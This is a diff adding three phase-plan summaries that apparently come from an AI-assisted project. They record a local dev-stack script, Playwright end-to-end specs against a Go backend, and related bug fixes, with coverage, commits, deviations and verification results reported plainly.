ref: "Task 2 automated verify (up --detach; marker jq through :3119; albums 401; down)"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D2
|
||||
description: "guard refuses :8422, plytarium.com, unset internal origin, mismatched origins, an origin other than the Go address, a non-loopback DEV_STACK_GO_ADDR, no marker, and a fake PHP answering X-Powered-By: PHP"
|
||||
requirement: QA-05
|
||||
verification:
|
||||
- kind: integration
|
||||
ref: "Task 3 automated verify 1 plus manual planted cases (fake PHP on 127.0.0.1:8431)"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D3
|
||||
description: "e2e-verdict refuses skipped, zero-expected, unparsable and missing reports and accepts a clean one"
|
||||
requirement: QA-05
|
||||
verification:
|
||||
- kind: integration
|
||||
ref: "Task 3 automated verify 1 plus planted reports"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D4
|
||||
description: "check exits 0 with warn lines only: dev_stack_absent_ns reported missing, user not reported; on the real config collection and wishlist reported missing and the origin warning printed"
|
||||
requirement: QA-05
|
||||
verification:
|
||||
- kind: integration
|
||||
ref: "Task 3 automated verify 2"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D5
|
||||
description: "Lifecycle: second up --detach prints already up; status 0 when up; a port held by another process is refused; a concurrent up is refused; foreground up stops both groups and removes pids on TERM; down twice is a no-op the second time"
|
||||
requirement: QA-05
|
||||
verification:
|
||||
- kind: other
|
||||
ref: "manual runs during Task 3"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D6
|
||||
description: "README section documents run, Centrifugo operator step with the exact namespace entries, subcommands, logs and MCP"
|
||||
requirement: QA-05
|
||||
verification:
|
||||
- kind: other
|
||||
ref: "Task 4 automated verify and acceptance greps"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
|
||||
duration: 27min
|
||||
completed: 2026-10-11
|
||||
status: complete
|
||||
---
|
||||
|
||||
# Phase 14.2 Plan 02: Local stack start script Summary
|
||||
|
||||
**`fonoteka.go/scripts/dev-stack.sh up` takes a configured machine to Go on 127.0.0.1:8423 and the unchanged Nuxt app on :3119 on host services. Before Nuxt starts, it refuses any backend origin that is not this Go binary. It proves the Nuxt proxy reaches Go with the marker, a 401 and a seeded cover. It also offers `guard`, `check`, `status`, `exec`, `e2e` and `e2e-verdict` for plans 03 and 04.**
|
||||
|
||||
## Performance
|
||||
|
||||
- **Duration:** 27 min of execution, after the Task 1 env checkpoint and the Nuxt write-access checkpoint
|
||||
- **Completed:** 2026-10-11T17:07Z
|
||||
- **Tasks:** 4 (1 human-action, 3 automated)
|
||||
- **Files:** 6 in fonoteka.go (2 created, 4 modified), 1 planning note in summercms.go
|
||||
|
||||
## Accomplishments
|
||||
|
||||
- **`up [--detach]`:** runs the steps in the D-05 order and only on host services. It never uses docker compose and never starts a second Centrifugo. Output goes to `tmp/dev-stack/{go,nuxt}.log` with `[go] ` and `[nuxt] ` prefixes. In the foreground, Ctrl-C, TERM or any failure stops both process groups.
|
||||
- **`guard` (D-09):** applies the origin rules before any network call, then checks the marker and refuses an `X-Powered-By: PHP` header.
|
||||
- **`check` (D-06, D-18, D-23):**
|
||||
- Postgres (loopback only), Typesense and Centrifugo `info` must answer, and Centrifugo must accept the key.
|
||||
- The WebSocket origin probe and the read-only `history` namespace probe print only `warn:` lines.
|
||||
- On this machine it reports the 3119 origin and the `collection` and `wishlist` namespaces as missing. That is the plan 03 operator step.
|
||||
- **`exec` and `e2e`:** `exec` exports the E2E and NUXT values with `CI` unset. `e2e` writes a JSON report to `tmp/dev-stack/e2e-<ts>.json`, and `e2e-verdict` fails the run on any skip, flaky, unexpected or zero-expected result.
|
||||
- **Template, ignores and config:** `.env.dev.example` holds placeholders only. `.gitignore` ignores `/.env.dev` and `/storage/app/uploads/public/`. The app config now has `serve: false` and `access_log: false` defaults.
|
||||
- **README:** a "Running locally with the Nuxt app" section.
|
||||
|
||||
## Task Commits
|
||||
|
||||
1. **Task 1:** the developer created the env file and database and started Typesense (checkpoint, no commit).
|
||||
2. **Task 2 (tracer):** fonoteka.go `f74b00c` feat(14.2-02): dev-stack.sh up brings Go and Nuxt up on host services. Tracer gate: I re-ran the full verify end to end, it passed, then I expanded.
|
||||
3. **Task 3:** fonoteka.go `3029a4c` feat(14.2-02): dev-stack.sh guard, status, check, exec and e2e fail closed
|
||||
4. **Task 4:** fonoteka.go `b5363ea` docs(14.2-02): running fonoteka locally with the Nuxt app
|
||||
|
||||
## Decisions Made
|
||||
|
||||
See `key-decisions` in the frontmatter.
|
||||
|
||||
## Deviations from Plan
|
||||
|
||||
### Auto-fixed Issues
|
||||
|
||||
1. **[Rule 3 - Blocking] Cover writes failed across devices.** `fonoteka:dev-seed` failed with `rename /tmp/... storage/app/uploads/public/...: invalid cross-device link`. The cause: `/tmp` is a tmpfs, and gocloud fileblob stages each write in `os.TempDir()`. Fix: every Go process the script starts runs with `TMPDIR=$APP/tmp/dev-stack/go-tmp`. The deployment side is logged in `deferred-items.md` for Phase 20. Commit f74b00c.
|
||||
2. **[Rule 1 - Bug] The WebSocket origin probe got no answer.** My first `Sec-WebSocket-Key` did not decode to 16 bytes, so Centrifugo closed every request without a response. With a valid key it answers 101 for an allowed origin and 403 for a rejected one. Commit f74b00c.
|
||||
3. **[Rule 1 - Bug] Foreground `up` stopped right after starting.** A bare `wait -n` also returned for earlier process substitutions. It now waits on the launched process groups only. Commit 3029a4c.
|
||||
4. **[Rule 2 - Security] The env file is parsed, not sourced.** `set -a; source` would run shell code from the file. The plan named it, but a data parser has the same effect without that risk. `pg_isready` gets host and port only, so the DSN password never reaches argv. The `pnpm dev` process does not inherit the SUMMER_* secrets. Commit f74b00c.
|
||||
5. **[Rule 2 - Correctness] `up` checks first that it can write to the Nuxt checkout.** It refuses with the directory names instead of failing inside `pnpm dev`. Commit f74b00c.
|
||||
6. **[Rule 2 - Concurrency] `up` takes a `flock`.** The plan relied on the port checks to refuse a second concurrent `up`. Ports are bound only after build and seed, so a second run could have wiped the first run's pid file. The lock refuses it at once. Commit 3029a4c.
|
||||
|
||||
### Checkpoints
|
||||
|
||||
- **Nuxt checkout write access (human action).** The checkout was owned by `jin` and not writable by `golem`, so `pnpm dev` could not write `.nuxt`. The user fixed the access, and the orchestrator confirmed it ("nuxt writable"). Writability is now documented as a README prerequisite.
|
||||
|
||||
**Total deviations:** 6 auto-fixed (2 bugs, 1 blocking, 3 missing critical). **Impact:** no scope change. All interfaces are as planned.
|
||||
|
||||
## Issues Encountered
|
||||
|
||||
- **Playwright has no browsers for user `golem`.** Chromium headless shell 1223 is missing from `~/.cache/ms-playwright`. `dev-stack.sh e2e --report-only smoke.spec.ts` ran the whole path: the report was written and the counts printed. Every test failed at browser launch. Plan 03 needs `pnpm exec playwright install chromium`, which downloads the browser, so a person should approve it at plan 03's checkpoint. It is in the README prerequisites.
|
||||
- **`fonoteka:reindex` prints `collection_id:=0 document count is zero`.** This is an info line from the existing command, and the reindex itself succeeds. Plan 03's search spec will show whether seeded albums are indexed.
|
||||
- **GORM `record not found` noise.** The seed's first collection lookup logs it in color on stderr. It is cosmetic and logged in `deferred-items.md`.
|
||||
|
||||
## Verification
|
||||
|
||||
- `bash -n` and `shellcheck` are clean. All acceptance greps of Tasks 2-4 pass.
|
||||
- The Task 2 verify passes against the real services: `up --detach`, then the marker JSON and the albums 401 through :3119, then `down`.
|
||||
- Both Task 3 verifies pass.
|
||||
- The Task 4 verify passes.
|
||||
- `go -C ../fonoteka.go vet ./...` is clean. `go test ./plugins/golem15/fonoteka/... -count=1` passes, and so does `go test .` for the app root, which covers the config files.
|
||||
- `git -C ../fonoteka.go status --porcelain` shows only the existing submodule pointer drift (feedback, golem, user). The seeded covers, `tmp/` and `.env.dev` are ignored.
|
||||
- The vue-fonoteka-app working tree is clean (`git status`). The only things written there are Nuxt and Playwright build and test outputs, which are git-ignored.
|
||||
|
||||
## Left running
|
||||
|
||||
Nothing. Go and Nuxt are stopped, and ports 8423 and 3119 are free. Seed data stays in `fonoteka_go_dev` and the covers stay under the git-ignored `storage/app/uploads/public/`.
|
||||
|
||||
## Next Phase Readiness
|
||||
|
||||
- **Plan 03:** run specs with `scripts/dev-stack.sh up --detach`, then `scripts/dev-stack.sh e2e <specs>`. Before that, the operator step for Centrifugo origins and namespaces and the Playwright browser install are needed.
|
||||
- **Plan 04:** `--guard` can feed planted env files through `DEV_STACK_ENV_FILE`, and `--self-test` can feed planted reports to `e2e-verdict`.
|
||||
|
||||
## Self-Check: PASSED
|
||||
|
||||
scripts/dev-stack.sh, .env.dev.example and deferred-items.md are present; commits f74b00c, 3029a4c and b5363ea exist in fonoteka.go (3 commits since 464ba47).
|
||||
@@ -0,0 +1,242 @@
|
||||
---
|
||||
phase: 14.2-local-fonoteka-frontend-on-local-summercms-backend
|
||||
plan: 03
|
||||
subsystem: testing
|
||||
tags: [playwright, e2e, nuxt, centrifugo, dev-seed, surf, access-log, fonoteka, uat]
|
||||
|
||||
requires:
|
||||
- phase: 14.2-01
|
||||
provides: fonoteka:dev-seed, storage.uploads.serve, http.access_log, the local backend marker
|
||||
- phase: 14.2-02
|
||||
provides: dev-stack.sh up/down/check/e2e/e2e-verdict
|
||||
provides:
|
||||
- vue-fonoteka-app E2E_BACKEND=go seed switch (runTinker.ts goMode/goDir, auth.setup.ts Go seed)
|
||||
- backend-agnostic specs album-edit-rate-cover, album-search, wishlist and the rewritten realtime spec
|
||||
- repaired smoke, login and album-create specs; tests/e2e/helpers/fonotekaApi.ts
|
||||
- Go fixes found by the specs and the manual session (empty album format, seeded artist rows, cancelled request logged as 499)
|
||||
- 14.2-UAT.md with the D-13 session and the D-11 PHP cross-check
|
||||
affects: [14.2-04 unit tests and gate, phase 20 cutover]
|
||||
|
||||
actuals:
|
||||
tokens: 11639
|
||||
tasks: 4
|
||||
commits: 4 # summercms.go: rev-list plan_head_before..plan_head_after = 5, minus 48286b6 docs(17) from another session
|
||||
plan_head_before: 05442174b67f1687d07530ef90b4ac6998bf7a50
|
||||
plan_head_after: a2d19360d290d81339f0c0f519585bcb337472b4
|
||||
fonoteka_head_before: b5363ea99e12b50dc6238438dd3aa60288f08c1e
|
||||
fonoteka_commits: 3
|
||||
vue_fonoteka_app_head_before: 984031f646784f640930a25eb7f25b3d268ac4d5
|
||||
vue_fonoteka_app_commits: 3
|
||||
|
||||
tech-stack:
|
||||
added: []
|
||||
patterns:
|
||||
- "Specs self-seed through page.request on the Nuxt origin with the Bearer from the auth_token cookie, Date.now() names, cleanup in finally"
|
||||
- "Realtime is asserted on Centrifugo JSON protocol frames (connect reply, subscribe reply by id, push), the same for both backends"
|
||||
- "Go-mode switches read process.env at call time so contract tests can toggle them"
|
||||
|
||||
key-files:
|
||||
created:
|
||||
- /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/album-edit-rate-cover.spec.ts
|
||||
- /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/album-search.spec.ts
|
||||
- /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/wishlist.spec.ts
|
||||
- /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/helpers/fonotekaApi.ts
|
||||
- .planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-UAT.md
|
||||
modified:
|
||||
- /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/helpers/runTinker.ts
|
||||
- /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/auth.setup.ts
|
||||
- /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/.env.example
|
||||
- /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/realtime.spec.ts
|
||||
- /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/smoke.spec.ts
|
||||
- /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/login.spec.ts
|
||||
- /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/fonoteka-item.spec.ts
|
||||
- ../fonoteka.go/plugins/golem15/fonoteka/classes/album_write_service.go
|
||||
- ../fonoteka.go/plugins/golem15/fonoteka/classes/album_write_service_db_test.go
|
||||
- ../fonoteka.go/plugins/golem15/fonoteka/console/dev_seed.go
|
||||
- ../fonoteka.go/plugins/golem15/fonoteka/dev_stack_smoke_test.go
|
||||
- ../fonoteka.go/scripts/dev-stack.sh
|
||||
- modules/surf/accesslog.go
|
||||
- modules/surf/accesslog_test.go
|
||||
- modules/surf/README.md
|
||||
- docs/services/logging.md
|
||||
- .planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/deferred-items.md
|
||||
|
||||
key-decisions:
|
||||
- "The album model rules see nullable text columns as strings, so an empty format passes like PHP, which skips non-implicit rules for an empty string"
|
||||
- "A 5xx written after the client cancelled the request is logged as 499 by the surf access log (framework), not remapped per plugin"
|
||||
- "dev-seed creates albums with their artist rows and backfills seeded albums that have none (album: updated)"
|
||||
- "dev-stack.sh e2e exports TMPDIR=tmp/dev-stack/go-tmp so the Playwright seed can write covers on a tmpfs /tmp machine"
|
||||
- "Item 11 (PHP cross-check) passes by classification: the two PHP failures are a GD-undecodable test fixture and a missing PHP Centrifugo config, with no contract difference"
|
||||
|
||||
patterns-established:
|
||||
- "UAT findings that match PHP are recorded with the PHP source reference instead of being changed in Go"
|
||||
|
||||
requirements-completed: [QA-05]
|
||||
|
||||
coverage:
|
||||
- id: D1
|
||||
description: "E2E_BACKEND=go seed switch: Go mode runs fonoteka:dev-seed and fails closed, runTinker throws, the PHP path is byte-identical (additions only)"
|
||||
requirement: QA-05
|
||||
verification:
|
||||
- kind: e2e
|
||||
ref: "dev-stack.sh e2e auth.setup.ts login.spec.ts smoke.spec.ts fonoteka-item.spec.ts i18n.spec.ts public-share.spec.ts"
|
||||
status: pass
|
||||
- kind: other
|
||||
ref: "git diff HEAD~1 -- tests/e2e/helpers/runTinker.ts | grep -c '^-[^-]' = 0 at 87d6939"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D2
|
||||
description: "D-15 Go gate subset (10 spec files) green with zero skips"
|
||||
requirement: QA-05
|
||||
verification:
|
||||
- kind: e2e
|
||||
ref: "dev-stack.sh e2e (10 files): expected=17 unexpected=0 skipped=0 flaky=0, rerun after the session fixes"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D3
|
||||
description: "Edit, rate, cover upload (cover served from /storage/app/uploads/public/ with naturalWidth > 0), search and wishlist add/remove specs, self-seeding"
|
||||
requirement: QA-05
|
||||
verification:
|
||||
- kind: e2e
|
||||
ref: "album-edit-rate-cover.spec.ts, album-search.spec.ts, wishlist.spec.ts on Go"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D4
|
||||
description: "Realtime spec on Centrifugo frames: connect reply, error-free collection: subscribe, push within 15 s"
|
||||
requirement: QA-05
|
||||
verification:
|
||||
- kind: e2e
|
||||
ref: "realtime.spec.ts on Go with E2E_CENTRIFUGO=1"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D5
|
||||
description: "Go fixes: empty wishlist format 201, seeded artist rows, cancelled request logged as 499"
|
||||
requirement: QA-05
|
||||
verification:
|
||||
- kind: integration
|
||||
ref: "classes#TestSaveAlbumEmptyFormatPassesModelRules, fonoteka#TestDevStackSmoke (artist backfill), surf#TestAccessLogClientClosedRequest"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D6
|
||||
description: "Manual D-13 session on the Go stack and D-11 PHP cross-check recorded in 14.2-UAT.md"
|
||||
requirement: QA-05
|
||||
verification:
|
||||
- kind: manual_procedural
|
||||
ref: ".planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-UAT.md"
|
||||
status: pass
|
||||
human_judgment: true
|
||||
|
||||
duration: about 4h including the manual session
|
||||
completed: 2026-10-11
|
||||
status: complete
|
||||
---
|
||||
|
||||
# Phase 14.2 Plan 03: vue-fonoteka-app proven on the Go backend Summary
|
||||
|
||||
**The vue-fonoteka-app Playwright suite now seeds the Go stack through `fonoteka:dev-seed` (`E2E_BACKEND=go`). Every core flow has a self-seeding spec: edit, rate, cover upload, search, wishlist and realtime over Centrifugo frames. The D-15 subset passes on Go with zero skips. The developer's manual session and the PHP cross-check are on record in 14.2-UAT.md, and the four Go defects they and the specs surfaced are fixed.**
|
||||
|
||||
## Performance
|
||||
|
||||
- **Duration:** about 4 hours of wall time, including the operator step, the manual session and the PHP run.
|
||||
- **Completed:** 2026-10-11
|
||||
- **Tasks:** 4 (2 automated, 1 operator checkpoint, 1 manual checkpoint)
|
||||
- **Repos:** vue-fonoteka-app (3 commits), fonoteka.go (3), summercms.go (4 before this summary)
|
||||
|
||||
## Accomplishments
|
||||
|
||||
- **D-14 seed switch.**
|
||||
- `runTinker.ts` gains `goMode()` and `goDir()`. In Go mode, `backendAvailable()` checks `E2E_GO_BIN`, `runTinker()` throws, and `seedE2EFixtures()` runs `$E2E_GO_BIN fonoteka:dev-seed` and throws on any failure.
|
||||
- `auth.setup.ts` seeds before login only when `E2E_BACKEND=go`. The PHP lines are unchanged: the change only adds lines.
|
||||
- **D-16 and D-21 specs.**
|
||||
- `album-edit-rate-cover`, `album-search` and `wishlist` are new, and `realtime` is a full rewrite without the removed `realtime-*` test IDs.
|
||||
- The four specs share `helpers/fonotekaApi.ts`.
|
||||
- **Go fixes:**
|
||||
- The wishlist form's `"format":""` now gets a 201, as on PHP.
|
||||
- `dev-seed` attaches artist rows, and a rerun backfills them on albums seeded earlier.
|
||||
- A cancelled request is logged as 499 instead of 500 (surf access log).
|
||||
- `dev-stack.sh e2e` keeps the seed's temporary files on the app's device.
|
||||
- **Records:**
|
||||
- 14.2-UAT.md has all 11 D-13 items. Items 7, 9 and 10 carry analysed findings, and item 11 is the PHP cross-check.
|
||||
- `deferred-items.md` lists the follow-ups.
|
||||
|
||||
## Task Commits
|
||||
|
||||
1. **Task 1 (tracer): seed switch, existing core specs green on Go**
|
||||
- vue-fonoteka-app `e4f2a9c`: fix(14.2-03): repair stale smoke, login and album-create e2e specs
|
||||
- vue-fonoteka-app `87d6939`: feat(14.2-03): E2E_BACKEND=go seeds through fonoteka:dev-seed
|
||||
- Tracer gate: the verify ran green end to end (12/0/0/0) before expanding.
|
||||
2. **Task 2: Centrifugo origins and namespaces (operator)**
|
||||
- The operator did it before resume. `dev-stack.sh check` exits 0 and prints no origin or namespace warning.
|
||||
3. **Task 3: specs for edit, rate, cover, search, wishlist and realtime**
|
||||
- vue-fonoteka-app `c1f323a`: test(14.2-03): backend-agnostic specs for edit, rate, cover, search, wishlist and realtime
|
||||
- fonoteka.go `7675d64`: fix(14.2-03): an empty album format passes the model rules like PHP
|
||||
- summercms.go `66dbd5a`: docs(14.2-03): UAT record with the deferred PHP cross-check
|
||||
- The PHP cross-check was deferred to Task 4 item 11. Executor runs on 2026-10-11 had no PHP E2E credentials, and the run was never reported as passed.
|
||||
4. **Task 4: manual session, follow-up fixes and PHP cross-check**
|
||||
- fonoteka.go `d31e00a`: fix(14.2-03): dev-seed attaches artist rows to the seeded albums
|
||||
- fonoteka.go `807dfdb`: fix(14.2-03): dev-stack.sh e2e keeps the seed's temporary files on the app device
|
||||
- summercms.go `4660f95`: fix(14.2-03): access log records a cancelled request's 5xx as 499
|
||||
- summercms.go `b9de061`: docs(14.2-03): record the manual session, its findings and fixes in UAT
|
||||
- summercms.go `a2d1936`: docs(14.2-03): PHP cross-check and re-verification recorded in UAT
|
||||
|
||||
## Decisions Made
|
||||
|
||||
See `key-decisions` in the frontmatter.
|
||||
|
||||
## Deviations from Plan
|
||||
|
||||
### Auto-fixed Issues
|
||||
|
||||
1. **[Rule 3 - Blocking] Three existing gate specs were stale against the current app, on any backend.**
|
||||
- `smoke` ran with the logged-in storage state, which shows the dashboard on `/`, and expected "Plytarium" where the page says "Płytarium".
|
||||
- `login` used `/login`, which now serves Polish labels, and clicked before hydration.
|
||||
- `fonoteka-item` did not fill the now-required artist and format, and its toast race could not succeed.
|
||||
- Fixed in the specs only; nothing under `app/` changed. Commit `e4f2a9c`.
|
||||
2. **[Rule 2 - Missing helper] `tests/e2e/helpers/fonotekaApi.ts` added.** It holds the Bearer, create and delete helpers shared by the specs. The file was not in the plan's file list. Commit `e4f2a9c`.
|
||||
3. **[Rule 1 - Bug, D-11 Go fix] Wishlist create with `"format":""` answered the 500 page.**
|
||||
- Cause: the model-rule check saw a `*string` pointing to "", not an empty value, so the `in:` rule failed. PHP skips non-implicit rules for an empty string.
|
||||
- Fixed in fonoteka.go `7675d64`, with a DB test. The framework-level gap is logged in `deferred-items.md`.
|
||||
4. **[Rule 1 - Bug, session finding A] The artist field in the edit form was empty for seeded albums.** The seed set only `artist_display`. Fixed in fonoteka.go `d31e00a`, and the developer re-verified it.
|
||||
5. **[Rule 1 - Bug, session finding D] A cancelled request was logged as a 500.**
|
||||
- Fixed in the framework (summercms.go `4660f95`), with docs.
|
||||
- The fix belongs in the framework because the status is visible only in the access log, so a per-plugin remap would not reach it.
|
||||
6. **[Rule 3 - Blocking] The Playwright-run seed failed with `invalid cross-device link`.** A renamed seeded album made the seed write a new cover with the default `/tmp`. Fixed in fonoteka.go `807dfdb`.
|
||||
7. **[Procedural] The PHP cross-check was not a clean run.**
|
||||
- Item 11 on PHP gave `expected=4 unexpected=2`. The failures were a GD-undecodable `PNG_1PX` fixture and the PHP env missing a Centrifugo config.
|
||||
- The developer accepted it as a pass by classification: no contract difference was found. Both issues are in `deferred-items.md`.
|
||||
|
||||
### Findings recorded as matching PHP (no change)
|
||||
|
||||
- **Item 7:** a new photo is appended and the first photo stays the main cover. Winter's `Sortable` sets `sort_order` to the id, and Go does the same.
|
||||
- **Item 9:** a same-user edit in a second tab does not refresh the UI, because the frontend's self-echo guard skips it. The Go push payload has the same shape as PHP's.
|
||||
- **Item 3:** `artist_display` is not rewritten after an artist change. PHP fills it only when it is empty.
|
||||
|
||||
**Total deviations:** 6 auto-fixed (3 bugs, 2 blocking, 1 missing helper), 1 procedural. **Impact:** no `app/` change. The Go and framework fixes are parity corrections.
|
||||
|
||||
## Issues Encountered
|
||||
|
||||
- `pnpm test:contracts` fails 1 of 279 on vue-fonoteka-app HEAD from before this plan: `missing-catalog.test.mjs` finds the word "any" in an `app/` type comment from `984031f`. It is outside D-20 scope and logged.
|
||||
- `go.log` is appended across `up` runs. The pre-session and session logs are kept as `go.log.pre-uat-20261011` and `go.log.uat-session-20261011`.
|
||||
|
||||
## Verification
|
||||
|
||||
- **Go gate subset (D-15):** `expected=17 unexpected=0 skipped=0 flaky=0`, `e2e-verdict: passed` after all fixes. go.log shows 0 5xx afterwards.
|
||||
- **Go tests:**
|
||||
- fonoteka.go: `go vet ./...` is clean; the fonoteka plugin, classes, console, parity and app-root tests pass.
|
||||
- summercms.go: `go vet ./...` is clean, `go test -short ./...` passes, and so do `TestDocsTree` and `docs:build --check`.
|
||||
- **vue-fonoteka-app:** `git diff --name-only 984031f..HEAD -- app` is empty.
|
||||
|
||||
## Left running
|
||||
|
||||
The Go and Nuxt dev stack (`dev-stack.sh up --detach`) was left running for the developer at the last executor step. The PHP run stopped it and started it again as the coordinator described.
|
||||
|
||||
## Next Phase Readiness
|
||||
|
||||
Plan 04 can pin the Go seed switch with a contract test (the switch is read at call time) and use `dev-stack.sh` `--guard`, `--self-test` and `--e2e`.
|
||||
|
||||
## Self-Check: PASSED
|
||||
|
||||
The created spec files, the helper and 14.2-UAT.md exist. Commits:
|
||||
- vue-fonoteka-app: e4f2a9c, 87d6939, c1f323a
|
||||
- fonoteka.go: 7675d64, d31e00a, 807dfdb
|
||||
- summercms.go: 66dbd5a, 4660f95, b9de061, a2d1936
|
||||
@@ -0,0 +1,239 @@
|
||||
---
|
||||
phase: 14.2-local-fonoteka-frontend-on-local-summercms-backend
|
||||
plan: 04
|
||||
subsystem: testing
|
||||
tags: [unit-tests, gate, dev-seed, surf, uploads, access-log, playwright, contracts, fonoteka]
|
||||
|
||||
requires:
|
||||
- phase: 14.2-01
|
||||
provides: fonoteka:dev-seed, commandDatabase, the local marker, storage.uploads.serve, http.access_log
|
||||
- phase: 14.2-02
|
||||
provides: dev-stack.sh guard, e2e, e2e-verdict, status, up --detach
|
||||
- phase: 14.2-03
|
||||
provides: the E2E_BACKEND=go switch in runTinker.ts and the Go-gate spec set
|
||||
provides:
|
||||
- scripts/check-phase14.2.sh (--self-test --go --docs --parity --contracts --guard --e2e --all)
|
||||
- console tests TestDevSeedRefusesProduction, TestDevSeedShape, TestDevSeedIdempotent
|
||||
- plugin tests TestDevSeedOpensDatabase, TestReindexOpensDatabase, TestCommandsOpenDatabase, TestDevMarkerRoute
|
||||
- surf tests TestUploadsMount, TestAccessLog
|
||||
- vue-fonoteka-app tests/contracts/e2e-backend-switch.test.mjs
|
||||
- surf: the uploads route owns its prefix (a plugin route at or under it fails BuildRouter)
|
||||
affects: [/msd-verify-work 14.2, /msd-validate-phase 14.2, phase 20 cutover]
|
||||
|
||||
actuals:
|
||||
tokens: 20256
|
||||
tasks: 3
|
||||
commits: 3
|
||||
plan_head_before: dbdf15da76098beb315a61fa4719e05ab1ca13f2
|
||||
plan_head_after: 78d72418cb731263572b75294846841a23a853d3
|
||||
fonoteka_head_before: 807dfdbfcc6e323d327c29295d23c76887e4dc89
|
||||
fonoteka_head_after: 49af991a8f3a9b5c75af29a0734d2d583b83449a
|
||||
fonoteka_commits: 2
|
||||
vue_fonoteka_app_head_before: c1f323a0ff3a51e1ca6f5db80581a0db0d644d6a
|
||||
vue_fonoteka_app_head_after: 6d60e42022e4252cbe0d73b7fb5196eb000d093b
|
||||
vue_fonoteka_app_commits: 1
|
||||
|
||||
tech-stack:
|
||||
added: []
|
||||
patterns:
|
||||
- "Fresh-process command tests: party.Activate on an app with only database.dsn, run the plugin's own Command, assert the published handle carries the OnDatabase GORM callback"
|
||||
- "Gate guard cases run dev-stack.sh in env -i with planted guard-*.conf files, require a case-specific refusal reason, and keep a passing SummerCMS control case"
|
||||
- "Report-only suites are printed with their counts next to a blocking, phase-scoped run"
|
||||
|
||||
key-files:
|
||||
created:
|
||||
- scripts/check-phase14.2.sh
|
||||
- modules/surf/uploads_test.go
|
||||
- ../fonoteka.go/plugins/golem15/fonoteka/console/dev_seed_test.go
|
||||
- ../fonoteka.go/plugins/golem15/fonoteka/dev_stack_test.go
|
||||
- ../fonoteka.go/plugins/golem15/fonoteka/dev_marker_test.go
|
||||
- /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/contracts/e2e-backend-switch.test.mjs
|
||||
modified:
|
||||
- modules/surf/uploads.go
|
||||
- modules/surf/accesslog_test.go
|
||||
- modules/surf/README.md
|
||||
- docs/services/storage.md
|
||||
- .planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/deferred-items.md
|
||||
|
||||
key-decisions:
|
||||
- "The uploads route owns storage.uploads.public_path_prefix: BuildRouter fails when a plugin route sits at or under it (the plan's truth; before, only an identical pattern failed, and only at Assemble)"
|
||||
- "--contracts blocks on the phase's own contract test and reports the whole pnpm test:contracts suite, because missing-catalog.test.mjs fails on vue-fonoteka-app HEAD from before this phase"
|
||||
- "The gate leaves TMPDIR to the caller: a TMPDIR inside fonoteka.go made internal/build scaffold tests edit fonoteka.go/go.work and made go test ./... there pick up build directories"
|
||||
- "--go also runs go test ./... in the fonoteka plugin module, because ./... at the fonoteka.go root covers only the root module"
|
||||
- "The go.log scan reads the whole log, not only lines from this run, so a 5xx left from an earlier session also fails the gate until the log is read and rotated"
|
||||
|
||||
requirements-completed: [QA-05]
|
||||
|
||||
coverage:
|
||||
- id: D1
|
||||
description: "Seed refusal: unset SUMMER_ENV, production, development, testing and staging refused before anything is opened; local and dev pass the gate; DevEnvironment agrees"
|
||||
requirement: QA-05
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "../fonoteka.go/plugins/golem15/fonoteka/console/dev_seed_test.go#TestDevSeedRefusesProduction"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D2
|
||||
description: "Seed shape, demo@example.com/changeme fallback, DEV_SEED_API_TOKEN prefix refusal and hash storage; idempotent rerun and password-only update"
|
||||
requirement: QA-05
|
||||
verification:
|
||||
- kind: integration
|
||||
ref: "../fonoteka.go/plugins/golem15/fonoteka/console/dev_seed_test.go#TestDevSeedShape,TestDevSeedIdempotent"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D3
|
||||
description: "dev-seed, fonoteka:reindex, fonoteka:oauth-client and fonoteka:prune-notifications open and publish their own database with the OnDatabase hooks"
|
||||
requirement: QA-05
|
||||
verification:
|
||||
- kind: integration
|
||||
ref: "../fonoteka.go/plugins/golem15/fonoteka/dev_stack_test.go#TestDevSeedOpensDatabase,TestReindexOpensDatabase,TestCommandsOpenDatabase"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D4
|
||||
description: "Marker route only in local/dev, no auth middleware, exact body and no-store; absent and 404 in production, development and testing; not in parity/manifest.yaml"
|
||||
requirement: QA-05
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "../fonoteka.go/plugins/golem15/fonoteka/dev_marker_test.go#TestDevMarkerRoute"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D5
|
||||
description: "Uploads mount (off, on, nosniff, HEAD, private/missing/traversal 404, unpublished bucket or database, custom prefix, prefix ownership) and access log (pattern/status, unmatched path, locale prefix, integer duration, no secrets, flush)"
|
||||
requirement: QA-05
|
||||
verification:
|
||||
- kind: integration
|
||||
ref: "modules/surf/uploads_test.go#TestUploadsMount"
|
||||
status: pass
|
||||
- kind: unit
|
||||
ref: "modules/surf/accesslog_test.go#TestAccessLog"
|
||||
